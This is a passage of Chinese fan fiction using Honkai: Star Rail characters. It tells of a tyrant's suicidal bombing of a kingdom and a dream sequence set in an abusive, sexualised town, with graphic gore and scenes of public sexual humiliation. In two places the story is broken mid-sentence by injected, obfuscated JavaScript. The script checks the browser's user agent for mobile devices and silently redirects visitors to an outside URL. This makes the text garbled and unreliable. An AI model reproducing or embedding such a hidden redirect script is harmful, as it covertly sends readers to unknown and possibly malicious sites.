偏不,人都是坏的,你对他们越好他们就越会得寸进尺,自己就是最好的例子,柔弱善良的父亲对他再好又怎么样?还不是被他弄死了,只有将恐惧深深烙在他们心底,他们才会乖乖听话。 但埃洛克不一样,大将军是出了名的善良,但又不容易被驯服,就和野外警惕的鹿一样能很快就察觉到危险。 “跟着我的计划走杀了我不好吗?”教主知道埃洛克的犹豫是因为什么,也只有他一个人察觉到了自己真正的想法。 他不由自主地笑了起来,“到底是怎么发现的呢?” …… “神经病啊!”三月七愤而起身,双手叉腰对着书写框架的人喊道,“你到底会不会写小说啊,happy end才是永远的神,这种一看就要be小说是不会受欢迎的!” 照旧没人理她,三月七气鼓鼓地重新坐下,托腮看着已经被自己填补完片段的页面,突然发现了一个问题。 “为什么埃洛克一开始就不和自己的好友解释呢?”那个再等等三月七自己都看烦了,“是因为警惕,不能透露出一点消息吗?还是说……” 众所周知,在某部知名作品中,身上贴有不长嘴这一标签,却要组建家庭的角色,通常都会面对各种各样的家庭危机,别问为什么不解释,问就是没长嘴。 “想要表达的东西千万要好好说出来啊!”三月七简直恨不得跳进小说里把埃洛克怼到古呐斯面前,让他把一切计划都说出来! “而且这个厉飞雨怎么像一个看客啊?”看描述中,他似乎对剧情没什么影响的样子……那为什么会要求以他为主视角呢? 她越看越觉得不对劲,这个人物突兀地像是突然塞进来的一样,不仅对剧情推动没什么用,还和小说里的这个和法塔莫日甘同名的国度非常脱节,简直就像是第一次来一样人生地不熟,难道是敌对国的吗? “虽然很可疑,但是对于这个人信息太少了,外貌体型性格都没怎么写,咱也看不出来他到底是什么人啊……”等等,其实还是有的! “蓝眼睛!”不正是小四眼睛的颜色吗?看看整本书的外貌描写吧,除了“厉飞雨”还有谁突出描写了眼睛颜色? …… 丹恒正在路上。 本来只是躲在房屋里避开士兵后不经意的一瞥,就看见了一个熟悉的背影,是初四! 虽然耳机并没有提示,但他还是立刻追了出去,却没看见任何人,连脚印都没有留下,回想起在空中看见的同样是一闪而过的有初四,开始在周围寻找。 丹恒在角落里找到了一大块镜子碎片,厚重的雪堆让它立在那里,他目测了一下角度和距离,刚好是他在房子里能看见的位置。 这个镜子的形状,看着很眼熟,和假三月假初四一起跟着尼斯,去到的那个房间中央的镜子其中碎裂的一块特别像。 是巧合吗?丹恒并不相信巧合,特别是在被暗算后,他就一直在高度警惕,突然把他放到大概几千年前甚至更久的法塔莫日甘,让他一个人在偌大的王国里独自摸索,幕后之人求的到底是什么?要是想杀了他们大可以直接动手,为什么非得费这么大的周章? 抬头看慢慢飘落的雪花,落在脸上触感是如此真实,真的就像是他穿越了时空,站在了千年前的法塔莫日甘中。 在事情变得更复杂前,得尽快找到三月和初四。 …… 有初四在教主的库房里。 事情的经过其实很难评,控制他身体的人慢慢靠近了教主住的地方,背后的人似乎思考了一下,偷偷溜进了外围。 然后他突然就能恢复行动了,反正来都来了,再半个系统时后他成功摸到了库房,并且在没惊动任何人的情况下进去了。 这并不是有初四的潜入技巧有多么高超,而是那些士兵根本散漫到连巡逻都没有,他躲在门后,甚至能听到他们的闲聊。 “你怎么一整天都梗着脖子啊?叫你的时候也怪怪的连身体一起转。” “因为我落枕了啊,可难受了……” “教主怎么尽买些奇奇怪怪的东西,听说还是从,额什么来着?其他星球的行商,是这个名字吧?怪怪的,镜子啊野兽啊,听说那野兽还挺受教主喜欢的,镜子更是宝贝的装在箱子里放到最深处。” “镜子开始教主从小就得到的,当然宝贝得不行啊。” “什么都往库房里堆真的好吗?会串味的吧。” “……你指的是什么?” “我藏在库房里的烤鸡。” “你才是不要什么都藏库房里啊!” 好抽象啊,虽然已经说过很多次了,但有初四还是想说,法塔莫日甘迟早要完。 而且不要往正向剧里塞这么多搞笑元素啊!情绪都酝酿不起来了!会变成烂片的啊! 而此时被迫停笔的三月七只能眼睁睁看着剧情自己书写,迅速从“厉飞雨”的视角转回了正剧,这下她想看都看不到小四接下来的行动了。 7. 把你捧在手上 有初四并没有看到他们所说的野兽,倒是找到了一个被严密封锁的箱子。 看箱子是那种老旧式锁头的样式锁,他果断拿出了木签暴力破开,锁掉在地上前被有初四一手接住,入手是沉甸甸的重量,在这种环境下可以说是特别谨慎的防护了。 箱子缓缓打开,露出一点白色的光,而里面的东西是——又一个箱子。 有初四:“……” 这次的箱子锁样式明显更新了一些,但对于有初四来说依旧是可以直接破开的,于是在半个系统时后,他看着一地坏掉的锁和箱子里的又是箱子,陷入了沉思。 什么意思,套娃很好玩吗? 费劲破了这么久锁的有初四突生怒火,直接伸出双手,每个指缝里都塞了一条木签,手一抖砸开了已经是第六个的箱子。 有初四暗想,要是这次里面还是箱子,我出去之后就要把制作这个关卡的人脖子拧成蝴蝶结! 里面确实不是箱子了,而是一堆镜子碎片。 他捻起一块放在眼前查看,阳光从窗户的缝隙中透出来,把那块镜子连同他天蓝色的眼眸一起照亮了。 有初四被这道阳光晃了一下眼,他眨眨眼睛,仔细把镜子对着阳光查看片刻,这碎镜子…… “怎么看都像是一个普普通通的镜子啊。” 随后他就蹲下来对着碎片堆里仔细翻找,并在被碎片埋着的中间,发现了一张纸。 “镜子炸弹使用说明书……” 有初四愣了一下,炸弹?镜子?这是怎么联系到一起的啊。 “镜子具有传染性,请务必在分发主体碎片之后把剩下的小碎片封存起来,在拥有镜框的人死后,碎片都将会引爆,足以毁灭一个国家,注,是传染前的爆炸规模。” 真的假的?有初四再次端详碎片,看了半天也没看出什么。 教主真的不是被骗了吗?有初四建议他下载一个银河反诈app,不过现在法塔莫日甘的背景估计还没发展出那种文明…… 手里捏着那张纸又读了一遍,上下都是那种大面积的留白,只有中间有字,有初四往下看的时候看见了最低端的几个小小的黑字。 箱子机关,别按。 机关?有初四又探头去摸箱子,果然在侧面摸到了一小个凸起。 按了会怎么样,爆炸吗? 有初四跃跃欲试,此时已经来到教主殿找人的丹恒心里一紧,有种不好的预感。 …… “好友死了埃洛克肯定会掀起反抗,这会是个好结局吗……”还有小四和丹恒,现在到底有没有汇合呢? …… 有初四还是惜命的,至少目前没有作死的打算,就算仗着自己恢复能力好,也不觉得自己会一直死不掉,比如在爆炸中心之类的? 被炸的到处都是的话,恢复能力再强也救不回来了吧?丰饶的除外。 正当他准备把盒子关上带走的时候,他看见了里面的镜子碎片都闪了一下。 想起说明书说的镜框持有者死亡镜子碎片就会爆炸,有初四一愣。 不会吧? 视线被闪耀的白光所占据,耳朵先一步听到嗡鸣声,镜片中散出的灼热攀爬上皮肤烙得人生疼。 【++疼痛】 【++疼痛】 【咔嚓……】 这时,似有轻微的玻璃碎裂声响起,一只手仿佛穿过看不见的屏障拉住了有初四的手腕,用力想要将他拉出爆炸范围,那只手臂上裹着的布料如此熟悉,是丹恒! 丹恒出于直觉伸手往前,自无人的库房中准确抓住了有初四,但一股诡异的吸力和他作抗衡,忽的掌心一松握了个空,那边的人似乎突然消失了,他什么都看不见,也看不见装满镜片的盒子掉落在地。 【++疼痛】 而在被剧痛揍晕过去之前,有初四只有一个想法。 这种程度的爆炸,你就算把他装进一万个盒子里都包不住啊…… “嘭——!!” 丹恒猛地跃出,地板被风浪掀起,烟尘蔓延,随后爆炸声就连绵不断地从身后响起,房屋倒塌地砖碎裂,巨大的声响或许连惨叫声都掩盖了,因为范围过大,丹恒没有完全躲开还是被擦到了。 他看着已经变成一片废墟的教主殿,又低下头凝视自己空荡荡的掌心,突然狠狠地握紧。 这是他第二次没能抓住他了。 …… 半个系统时前。 “统领,居民都已经安顿好了!” “那现在,就是时候了。”埃洛克握紧手中长刀,推开了教主殿的门。 少年模样的教主正侧坐在椅子上,逗弄怀里的野兽。 “来,再说一句听听。”白嫩的手指挠了挠野兽的下巴,他的神情是一派安宁与温柔,要不是埃洛克和众多的人亲眼见过他残暴的样子,都会被他这幅样子给骗过去。 野兽体型细长,尾巴蓬松,颜面部狭吻尖,它在手指的轻挠下舒服得眯起了眼睛,开口竟然说了人话。 “法塔莫日甘兴,埃洛克王!” 埃洛克:“……” 士兵们:“……” 殿里一时间沉默,只有教主轻轻地笑了几下,然后开始拍着大腿哈哈大笑。 “哈哈哈哈好听好听,我爱听哈哈哈哈咳!”教主笑得差点把自己呛住了,纤细的双臂直接举起了怀里有半个他长的狐狸,眼睛亮闪闪的对着埃洛克说。 “看啊!我在其他星球过来旅游的行商手里买到的,花了整整一半的积蓄呢!” 他身旁安静站着的静紫沉默不语地盯着领头的埃洛克,透彻的双眼中似乎什么都映不出来。 还是头一回听说其他星球的埃洛克愣了一下,然后冷下脸:“不要再说疯话了!什么其他星球,我今天是来和你清算一切的!” “啊。”教主茫然地应了一声,把狐狸放到了地上,然后从椅子后面拿出一块红布。 “说起来那位行商交了我一个小技巧。”他旁若无人地说着,掌心朝上把红布覆盖住右手,左手拿住中间的布料慢慢往上提。 正在埃洛克忍无可忍直接上前一步想要说“够了!”的时候,教主突然掀开了那块红布,露出了掌心上摇摇欲坠的头颅。 “当当当当!”他笑了一下,把红布随手一丢,换成了两只手捧着,血迹早已凝固,如同头颅上狰狞的神情。 埃洛克瞪大了双眼,握着刀的手开始颤抖。 “哈哈惊喜吧?我可是特意留着给你的。”看见埃洛克微微伸出手想要将头颅抢过来,教主微微一笑,先一步把他的好友扔进了埃洛克的怀里,“送你了,拿去吧。” 下意识伸手抱住了,从一开始就下定了决心的埃洛克此时僵住了,脖子一卡一卡地动着,慢慢低头看着怀里的那张脸,手指触碰到切面和皮肤,柔软又冰冷的触感却让他感觉到手心在被火焰灼烧。 身后的士兵都被这一幕震住了,而他呆呆地抱着好友的头,听不进去任何声音。 “喜欢吗?”罪魁祸首还笑盈盈地问,甚至主动凑了过去,“怎么样,是不是很想杀了我?来吧!” 少年模样的暴君张开双臂,毫不迟疑地将自己最脆弱的地方展现出来,“机会都送到你手上了,别不中用啊。” 后来教主又说了什么,埃洛克已经不知道了,等他回过神来的时候,他的刀已经捅进了少年的身体,用力到穿透背后前面只留下一个刀柄。 “噗,咳咳。”教主对他露齿笑了一下,沾满血的牙齿带着森然的意味,他摸上了埃洛克握着刀柄的手,双手用力,带着刀在身体里搅了一圈。 埃洛克不可置信地看着自己握着刀的手,猛地把刀抽了出来。 “噗嗤——”教主已经没力气站稳了,躺倒在了地上,痛得浑身抽搐,然而那双眼睛还是死死地盯着埃洛克,还朝他得意地眯了眯眼。 警惕的鹿终于走进了陷阱里,直到最后他成功了,用无数鲜血和性命,浇灌出了一个怪物。 教主满足地闭上眼睛,静静感受着血液流出体外,温度逐渐消失。 他想要一场盛大的葬礼。 [滴答——] 血流过刀身,顺着刀尖滴落到地上,埃洛克的手也被鲜血染红,另一只手还抱着好友的头。 他是故意的,他就是想让自己杀了他,好完成剩下的计划,所以呢?他死了,会发生什么?赶快想想,这个人用死亡都想要索求的是什么。 一个暴君,一个手上沾满血的刽子手,一个明显精神不太正常的人,会因为什么选择自己结束生命呢? 埃洛克如梦初醒,身体开始不由自主颤抖,他朝士兵们吼道:“快跑!!” “嘭!!” 这是一场蓄谋已久的,针对整个法塔莫日甘的大爆炸,也是教主梦寐以求的,一场盛大的葬礼。 狐狸:so? 可怜又无辜的狐狸什么都不懂,只能随着买下他的人一起被埋进一片废墟里。 这场大爆炸持续的时间意外的短,丹恒站起来拍了拍衣服上的小碎石,他攀上了爆炸后倒下来的石柱,目测爆炸的只有靠近教主殿的主城近一圈遭到炸毁,外围可以说是毫发无损。 他努力避开倒塌的墙壁,尽量不挪动任何东西防止二次坍塌,但这也就让他寻找同伴的过程更加的艰苦。 “初四咳咳!”丹恒一边喊一边挥开还残留在空气中的烟尘,他抹了一把脸,灰尘被晕开,“有初四!我知道你还活着!” 丹恒是知道的,有初四没有死亡这个概念。 “有初四!” 咔嚓一声,脚底踩到了什么东西,丹恒低头一块,是一块碎裂的镜片,他意识到了什么,将镜子拿了起来,对着周围扫了一圈,然后在镜子中看见了被压在柱子下的有初四,他满脸的血,一只手臂伸出来,就这么趴在那里。 他跑过去,对着空无一物的地方伸出了手。 “初四!” 面前的景象猛地被波动了一下,丹恒的手像是穿过了某种屏障,咔嚓一声脆响,透明的镜片碎了满地,握住了一手的粘腻,浓重的血腥味顺着他的手臂蔓延,逸散在空气当中,和烟尘你侬我侬。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513974|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有初四的身形逐渐显现出来,脸上沾着的血迅速干涸,他就静静地趴在地上,毫无生息。 黑发青年握着那只已经冰凉的手,低垂着头,刘海遮住了眼睛,有风略过,吹起了他的发梢。 哪来的风? 丹恒瞬间仰头躲过攻击,锋利的镜刃停在他面门上一转,直直地劈下来。 “唰——啪!”破空声和地板碎裂的声音昭示着袭击者的失败,而周围的废墟也因为这一动静开始摇摇欲坠。 纤细的手臂动了动,拔出了因为太过用力劈砍陷进地板里的镜刃。肩头的布料因为撕裂而滑落,露出大片血肉模糊的皮肤。 “有初四”朝他笑了一下,耳朵上的吊坠流苏断掉了一半,大半个身体都沾满了血,和丹恒预想中的一样严重。 他歪头疑惑道:“怎么看出来的,这不是和你想的一样吗?” “有初四”抬起双臂向丹恒展示全身的伤口,手臂肩膀,腿和脖子,甚至能看到骨头穿破皮肉,带出一堆的血肉组织。 “就是因为一模一样才奇怪。”天知道在看见有初四的惨状和他脑袋里因为担心而想象的画面完全吻合的那一刻,丹恒究竟是松了一口气还是觉得毛骨悚然。 “因为他根本就不会死。”他是如此的笃定, “可惜,来迟了。”还顶着一脸惨状的人转头看了看四周,笑了一下:“还挺怀念。” 说完,顶着有初四模样的人又不解地皱眉,“但那场爆炸他是怎么躲过去的?”却不等丹恒回答自言自语:“是主角光环吗?但这个故事里他顶多就是个背景板啊,主线都进不去哪来的主角光环?” “有初四”又原地转了一圈,眼神移到了丹恒身上。 “忘了还有你,就算是罪魁祸首没逮到,让他失去你也是一个很好的惩罚方式吧?”这个他熟啊! 丹恒不语,只是在确认了对方的敌意握紧了击云,然而大面积坍塌的废墟并不适合进行战斗,所以两人一时间都没有动作,都是各自警惕着。 …… 三月七此时已经大脑超载了。 要求是让埃洛克杀了教主,但在得知埃洛克有忌惮教主的原因就是怕这个疯子留了后手,最大的可能就是让其他人给他陪葬时,她就一直试图改变这个走向,可假死和教主逃跑或者教主突然向善都试过了,写了就会消失根本不被承认,而后续的教主死亡已经写在书上,根本不给她改动。 主线剧情是既定的事实无法改变——书本如是显示道。 她坐也不是站也不是,偏偏又没办法阻止,只能眼睁睁地看着教主死后法塔莫日甘发生了大爆炸,把丹恒给炸进剧情里了。 好消息,丹恒终于出现了,坏消息,丹恒在已经坍塌的教主殿里寻找什么。 然后他就找到了厉飞雨的尸体。 厉飞雨的死亡被描述出来时,三月七满是不可置信,但在她还没从悲伤的情绪转变成出来前,尸体会动了,还袭击了丹恒,在被丹恒询问目的时居然说出了自己的人设。 这种能打破第四面墙的角色为什么会出现啊!三月七痛苦抓头,把这么多元素塞进来到底有没有想过能不能融洽啊?! 她简直要大喊救命了,大多数剧情都是自己在走,就算是试图改变也起不了作用,该发生的一定会发生,这是已经写好的走向,这该死的既定的无法改变的命运啊! 三月七突然反应过来:“所以,小四到底在哪?”书里那个伪装成小四的人说他离爆炸很近却没事,那他现在在哪里?还是说书里的人物会伪装,书上文字也会? 事实证明,三月七高估它了。 伪装是不会的,直接杀人能力是没有的,只有清除剧本不安定因素这一个功能,名字叫有初四的这个人着实厉害,居然能在神不知鬼不觉的情况下摸到了库房,发现了教主的真正意图。 这可不行,按剧情走只有埃洛克一个人会发现,所以有初四必须消失。 作为一个合格的奇物,在有人物触发了清除条件后应该立刻执行行动,但关键时刻居然有人和它同一时间出手,这就很尴尬了。 事已至此,先把人关起来再找个机会丢出去吧。 而有初四正一脸茫然地站在无边雪白中,身上因白光灼烧的痕迹已经消失不见,全身都完好无损。 就像是被重置了一样…… 冰冷的气息从四面八方传来,最为强烈的还是在身后,他转身一看,背面高耸的雪山上多处结着璀璨耀眼的粉色冰晶。 三月? 熟悉的颜色让有初四忍不住伸手,却发现面前被挡了一面看不见的墙,四处摸索了一下,前后左右甚至上下都有,他像是被困在了一个透明的箱子里,不能离开。 这时,在冰天雪地中突兀吹过一阵暖风,穿透屏障抚过有初四的眼睛,他被吹的眨了眨眼,觉得眼皮沉重,眼前的画面逐渐模糊起来。 “怎么……回事……” 身体慢慢顺着透明的屏障滑落,黑发的青年蜷缩着被囚禁在狭小的空间里,挣扎着想要睁开眼睛,却不得不闭上了双眼。 8. 新地图已开启 有初四知道自己在做梦。 他清晰地知道这里并不是现实,但是怎么进来的,来之前他在干什么,有初四一无所知。 黑发蓝眼的孩童望着花园高高的栅栏,只要翻过去就能出到外面,可看着那尖锐的铁条上闪烁着寒光,有初四觉得以自己这短小的四肢,能不能爬上去另说,但凡有点失误绝对会被捅个对穿。 但人总是要大胆去尝试的! 有初四撸起袖子开始手脚并用网上爬,在即将爬到最顶端的时候,他触碰到了他这一生都无法拜托的存在——空气墙。 这一刻,仿佛有些复杂又让人难以理解的东西进入了他的脑子,他的身体僵住,头顶的空气墙犹如一道锁住他的铁链,上面的大锁告诉他,时候未到。 有初四:“……” 于是他在这家孤儿院里长大,面对着院长复杂却又充满期待的眼神能躲则躲,偶尔还能碰见院长向已经有能力工作的孤儿收高利贷,和总是在压抑着什么的孤儿们擦肩而过,当然也会在无人的角落里发现一些秘密,让他知道了其实这家孤儿院,已经有很多人都变成肮脏的大人模样了。 那在这个成长的时间段里,有初四是一个听话且识时务的宝宝吗?不,他坚信是命,是不公平的命让他不得不困在孤儿院里的! 冲破桎梏,去获取自己想要的人生吧! 这是一个很正常的状态,人总得有那么一段时期会突然头脑热血,经常会手舞足蹈做一些意义不明的动作和念念有词又长又难听懂的话——中二时期。 于是有初四每天都在房顶和花园里上蹿下跳,就像是山里灵活的猴一样,让贝利百思不得其解这小兔崽子是怎么上去的,而通常也只能等有初四自己下来。 就这样,有初四一边和空气墙斗智斗勇一边和院长斗智斗勇,终于等到了他能翻过栅栏的那天,抬头望着对他来说早已经不再高大的铁条,暗暗想着等出去了一定要把那个人渣院长送进监狱。 空气墙果然消失了,这次很顺利地就爬上了顶端,他把自己撑过栅栏落在了外面,但在翻过去的途中,有初四的上衣一角被尖刺轻微钩破了。 有初四:“?” 不对劲,有百分之一万的不对劲,在孤儿院每天都上蹿下跳已经比猴子都要灵活的他,怎么可能翻个栅栏都会被勾住衣服?这太不对劲了。 此时的有初四还不知道,这是一股名叫设定的力量,无形中把他的一角往钩子上放,管你是谁,熟练度没刷够还被钩破还是得被钩破。 看着自己腰侧露出的一大块皮肤,一条红痕横贯其中,他心里总觉得少了点什么,用手拢了一下,扣上了一个房间深处翻出来的别针。 有初四还没来得及为自己的自由而感到庆幸,迎面走过来一个魁梧男人直直地冲他撞了过来,刻意地过分了,以至于有初四察觉到有人靠近后下意识闪避,魁梧男人因为用力过猛摔倒在了地上。 魁梧男人愤怒抬头,但在看清有初四的脸时,他的眼神一下子就变了。 “你是我这周里见过最可爱的小家伙,来吧,到我这来!” 有初四:“?” 虽然不是很清楚事情为什么会突然发展成这样,在看到陌生男人冲上来想要抓住他的时候,有初四反手就是一拳砸在他面门上。 “嗷!”男人被这一拳打中了鼻子,他捂着半张脸不可置信地说:“你不按规矩来!。” 有初四:啊? 主动找揍,这种事情还要什么规矩? “你不应该在我扑倒你之后再反抗吗?!之前都是这么来的!” 你要不要听听看自己在说什么?什么叫被扑倒后才能反抗啊,是什么必须要遵守的规则吗? 这时,突然有一个女人突然冒出来对有初四说:“你没事吧?” 但看到一脸血的魁梧男人,她愣了愣,然后迟疑地交给有初四一瓶防狼喷雾,让他出门在外要保护好自己——说到这里,她又看了一眼捂着脸痛得嗷嗷叫的男人,欲言又止。 有初四从容地接过新道具,“谢谢你女士。”转身离去。 货车上掉落的不明物品,试图带他去什么地方的狗,还有下水道里明显精神不太对把他认错成其他孩子的男人,一切都在和有初四诉说,这个地方不太正常。 在第三次被跟踪的时候,有初四就已经深刻意识到了这件事情,并回头直接一人一个拳头套餐,被揍得眼冒金星的跟踪者看着有初四少年模样的身材,陷入了沉思。 有初四并不知道他们在想些什么,只当这群人是虚的,把人扒拉到一起用路边捡的绳子捆住,准备拽到警察局去。 但他也高估了自己的体力,拽到半路就撑着身体开始大喘气了,他观望四周,突然意识到他并不知道警察局的位置,于是决定把人栓到马路边上,准备一边走一边问路找警察叔叔过来处理。 对身后一连串的“不要放我们在这里!”“求你了我们可以自己走的!至少不能放在这里!”“我们会死的!”置若罔闻,或许是看到了他的壮举,很多人在他刚靠近就飞快跑走了,不得已只能自己寻找。 有初四在不知不觉中走到了市政厅,但在路过处刑台的时候,他看见了一群人围在那,他们尖叫着呐喊着,像是遇到了药的瘾君子,里面的东西让他们为之疯狂。 他理应是会避开的,处刑台,能和这种词扯上关系的多半不会是什么好事,但脚却不由自主地停下,往人群里走去。 挤过层层叠叠的人,有初四终于看到了他们正在狂欢目标——一个被锁在颈手枷上的女人。 难闻的气味和撒的到处都是的液体,围观人员跃跃欲试的表情和闪着闪光灯的手机,女人长发披散,奄奄一息地跪在处刑台上。 【++压力】 “她做了什么?”有初四听到自己这样问。 “嗯?”一个女人转头来看他,脸上兴奋到狰狞的表情还没消散,她打量着面无表情的有初四,“犯了事呗,被铐在上面接受惩罚,估计过几个小时就会有人来放开她的。” “是犯了什么事?” “谁知道呢,估计是偷了什么东西吧,这种小偷就该待在那里!” 有初四听到他们谈论女人的身材,和刚刚那只狗的兴奋,高高举起的手机记录着女人的狼狈,蓝色眼睛里的痛苦与疲惫成了催化剂。 “哭也这么**,真该让她好好**!”一个男人兴奋的大喊,女人的哀求和痛哭让他们不为所动,还会更加激动。 【++压力】 有初四愣愣地站在那里,看着直到人群散开也没能有人过来放开她,他走上前,鞋子踩过粘腻的液体,冷风吹过灌进他被撕裂的上衣缝隙,别针已经摇摇欲坠。 女人看到有人接近瑟缩了一下,费力抬起顶着乱发的头,近乎绝望地看着他。 “求你……” 有初四没停下脚步,朝她伸手,女人猛地闭眼,已经能预想到自己接下来会有什么后果。 但没有羞辱,没有殴打,只是一件衣服轻轻将她盖住,她愣愣睁眼,对上少年人清澈的眼眸。 轻飘飘的布料此时犹如一张重重的被子,让她牢牢笼罩在其中,她突然感到安心。 还有些许围着的人看他这样做法,一片嘘声,而有初四也看见了拨开人群挤进来的警察。 “让让,都让让!” 有初四一言不发地离开了,临走前他看见被解开颈手枷的女人还回头来看他。 她不属于这里——有初四心想。 混乱,荒谬,涩.情,是这个小镇的代名词,随便走在街上就会有被袭击的风险,不管是男是女是少年还是青年,犯了法的惩罚方式是一场大型的凌辱,且不管是执行者还是围观者都觉得没错,但那个被执行者不是,她不是那样的人,有初四一眼就能看出来。 没有浑浊的眼神,尽管被绝望和疲惫所覆盖,被泪水所遮掩,他仍能看见她眼中的不可置信。 她不属于这里,自己也是。 回到了放置跟踪狂们的地方,人已经不见了,只留下被刀割断和地上被暴力拖拽的痕迹,联想到刚刚看到的极具冲击力的场景,有初四已经能想象出他们会遭遇什么了。 不过都是跟踪狂,跟踪的原因有初四也能猜得出来,只能说是活该。 重新翻墙进了花园回到孤儿院,就碰上了拿着菜的贝利,他们的院长,走过的时候贝利就想把他推开,被他轻轻地躲了过去,贝利眉头一皱,直接试图上前去握有初四的手腕。 成年男性带着不容反抗的气势压迫过来,要是一般的孩子就会被吓得乖乖站好了,但这所孤儿院中没人不知道,有初四一百斤的体重里有九十九斤都是反骨。 闪避向他袭来的手对有初四来说就跟喝水一样简单,习惯性地和贝利进行了好几次躲闪游戏后,没抓到人的贝利终于不耐烦了,对他说了句“等会儿来我办公室一趟”就走了。 院长找他能有什么好事?有初四在房间里翻出了一把小刀,脑子里闪过各种人口贩卖和器官走私。 但有初四高估他了,贝利只不过是想放个简单的高利贷而已。 “你现在已经长大了,该还清之前的吃穿用度了,那可都是从我这来的,刚开始——”贝利想起了有初四过于灵活的动作,停顿了一下继续说:“刚开始的话,?500好了,我不问钱从哪来,你只有一周的时间,如果做不到,我会给你介绍一个好去处。” 用脚趾头想都知道这个“好去处”不是什么正经去处,而且别人都是?100开始,怎么到他就?500了? 迟早要揍他一顿,反抗无果又打不过被赶出来的有初四郁闷地在床上翻滚,翻着翻着脑袋就不小心撞上了墙壁。 因为用力过度发出“砰”的一声闷响,有初四的头没事,甚至都没红,反而是墙壁上裂开了一条缝。 有初四:“……哦豁。”心里顿时有了个猜想。 想到了就去做,行动力格外强的有初四当场就爬起来在孤儿院游荡,此时已经半夜三点钟了,他没能找到贝利的卧室,唯一能见到他的方法就是收高利贷的时候,和早上七点准时刷新在他的办公室,九点后又消失不见。 少年摸摸下巴,蹲进了贝利的办公桌底下。 于是第二天一早,精神萎靡的孤儿们就被一声响亮的尖叫给惊得一哆嗦。 “有初四你给我站住!”贝利捂着喷血的额头踉踉跄跄地追出办公室,有初四边跑边回头朝他吐了吐舌头,一溜烟就消失不见了,只剩下被重创的院长走了没几步就狼狈倒下,被惊慌失措的孤儿们送去了医院,路上还因为孩子们的笨手笨脚被磕碰到了好几次,成功延长了院长的住院时间。 医生最开始让贝利脱裤子检查了一下,好一会儿才说:“没有受伤啊。” 额头痛得想死的贝利:? 这时医生才注意到他还在滋血的额头,他悻悻道:“不好意思啊,你这种病人很少,没反应过来。” 刚刚他还寻思让贝利生病的东西是不是进肚子里了,来他们医院的病人一般都是放大缩小某些部位,或者取出什么奇奇怪怪的东西,被打到流血进来的,该说一句就算是情趣下手也重了点吗? 贝利这天的第一个惊喜从被突然冒出来的人吓了一跳开始,起初他什么都没察觉到,照常坐上了办公椅准备工作,但突然发现那里有些不对劲,过分安静的办公室内存在着另一个人的呼吸声。 他僵着身体,视线慢慢往下挪,看见了办公桌底下一双冒着光的眼睛。 “什么鬼东西?!”贝利手一抖,笔在文件上划出一条长长的线,但好歹是什么事情没干过,不至于被吓一跳就惊慌失措,他刚想伸手去抓,就见藏在黑暗里的那个人瞬间蹿了出来,一头撞在了他的脑袋上。 办公椅摔落,贝利直接被撞飞了出去,带倒了一片东西,噼里啪啦的声音不绝于耳,有初四还能看到他头下蔓延出的血。 哇哦,这一下可真够狠的。 但没想到,这人居然还能顽强地站起来,顶着一脸血犀利的目光好像要把有初四射个对穿。 “是——你!” 有初四转身就跑。 贝利居然还能追出来,他心想那下头槌还是不够狠。 双手熟练地攀上栅栏,身上依旧是那件破损的衣服,也没心思拿去缝补了,这次很顺利就能翻过去,落地的时候左看看右看看,确信衣服没有被钩到。 今天理应是要上学的,但有初四不愿意去,这小镇都这样了,学校还能是什么好地方? 他找了份工作,在沙滩上捡垃圾,但是这份工作实在是太黑了,期间还要遇上各种无理取闹的人,想对他动手动脚被他一拳头干掉的,想要用钱要求他戴上项圈的,还有对他语言调戏的,而且忙活了一整天才得到了?100,一份煎饼就能要?10,这点钱还不够他吃饱几顿饭的。 有初四有着灵活的道德底线,他深知在这样认知崩坏的小镇上做一个正常人会有多艰难,他也不愿意这样做,或许自己本来就不正常? 他无师自通地学会了撬锁,先是从简单的储物柜,到富人区的大门,再到码头严防死守的集装箱。 他有了一笔丰厚的收入,当然撬的是认识的人,比如贝利,这家伙的保险柜级别甚至比码头那边的还高,想偷他的钱可真是不容易。 其实从撬锁只是为了锻炼技术不拿东西,最后只偷了贝利一个人的钱这点上来看,有初四的道德底线还是偏高了。 可怜的贝利并不知道自己的小金库被找到了,为了防止他找其他孤儿发难,有初四在两天后埋伏进他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513975|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办公室又给了他一发头槌。 贝利:“你有完没完?!” 有初四彻底上了警察局的档案,他不在意,要是费点劲能去黑市找人消除犯罪记录——是的,那群人只认犯罪记录,要是实在嫌麻烦就自己半夜撬进警察局自己消档案。 他觉得自己真是越来越可刑了。 什么,问他这段时间不回孤儿院住在哪?感谢安全的更衣室,他能躲在里面睡到天亮。 巧的是,在一次练习诡术的时候他遇上了一个人,那个之前被拷在市政厅的女人,她看见有初四的时候下意识就要跑,在她看清了他的脸后停下了脚步。 “是你……”上次见到的金色长发被剪短了很多,她发现有初四的视线落在了自己的头发上,不安地捻住了发尾,“这个,因为那次——” 她突然停顿住,光是回想起那时候的事身体就开始发抖,“……那次头发乱的不成样子,太难打理了,我就剪掉了。” 有初四移开了视线,看向已经被撬了一半的锁,“你现在还在做这种事情吗?” “对……”她低下头,也看见了有初四手里的工具,“因为,我想攒钱离开这里。” 他看着遭受过惨烈惩罚的女人,手还在发抖,像是和他说话都用了巨大的勇气。 “撬些无法复原的锁不是明智的选择,警察会更快惦记上你的。”他刚想说可以去森林弄点东西卖,可想起被这个镇子同化的野兽,和埋伏在暗处吃饱了没事干在森林里乱窜的家伙,把话咽了下去,从兜里掏出一沓钱。 